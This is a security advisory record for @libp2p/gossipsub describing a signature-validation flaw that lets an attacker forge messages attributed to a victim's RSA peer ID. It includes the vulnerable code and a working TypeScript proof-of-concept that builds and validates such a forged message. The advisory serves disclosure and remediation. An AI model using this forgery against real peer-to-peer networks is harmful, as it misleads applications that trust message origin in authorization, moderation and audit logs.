{"id":"GHSA-c3gv-825q-fvmp","summary":"libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID","details":"### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {\n  return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit's `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from 'node:assert'\nimport { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'\nimport { StrictSign } from '@libp2p/gossipsub'\nimport { peerIdFromPrivateKey } from '@libp2p/peer-id'\nimport { concat as uint8ArrayConcat } from 'uint8arrays/concat'\nimport { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'\nimport { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'\nimport { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'\n\nconst label = 'gossipsub StrictSign RSA author spoof'\n\nfunction seqno (n: bigint): Uint8Array {\n  const out = new Uint8Array(8)\n  new DataView(out.buffer).setBigUint64(0, n, false)\n  return out\n}\n\nasync function main (): Promise\u003cvoid\u003e {\n  const attackerKey = await generateKeyPair('Ed25519')\n  const victimRsaKey = await generateKeyPair('RSA', 512)\n  const victim = peerIdFromPrivateKey(victimRsaKey)\n\n  const msg: RPC.Message = {\n    from: victim.toMultihash().bytes,\n    data: uint8ArrayFromString('forged as victim RSA peer'),\n    seqno: seqno(1n),\n    topic: 'poc-topic',\n    signature: undefined,\n    key: undefined\n  }\n\n  // Sign the protobuf message that claims victim in `from`, using attacker's key.\n  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n  msg.signature = await attackerKey.sign(bytes)\n  msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n  const result = await validateToRawMessage(StrictSign, msg)\n\n  if (!result.valid) {\n    throw new Error(`expected forged message to validate, got ${result.error}`)\n  }\n\n  assert.equal(result.message.type, 'signed')\n  assert.equal(result.message.from.equals(victim), true)\n  assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n  console.log(`${label} reproduced`)\n  console.log(`claimed victim RSA author: ${victim}`)\n  console.log('signature verified with attacker-supplied key')\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.","aliases":["CVE-2026-86038"],"modified":"2026-09-17T17:45:04.131264619Z","published":"2026-09-17T17:29:31Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-17T17:29:31Z","nvd_published_at":null,"cwe_ids":["CWE-345","CWE-347"]},"references":[{"type":"WEB","url":"https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"},{"type":"WEB","url":"https://github.com/libp2p/js-libp2p/pull/3569"},{"type":"WEB","url":"https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"},{"type":"PACKAGE","url":"https://github.com/libp2p/js-libp2p"},{"type":"WEB","url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"}],"affected":[{"package":{"name":"@libp2p/gossipsub","ecosystem":"npm","purl":"pkg:npm/%40libp2p/gossipsub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"15.0.0"},{"fixed":"16.0.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-c3gv-825q-fvmp/GHSA-c3gv-825q-fvmp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}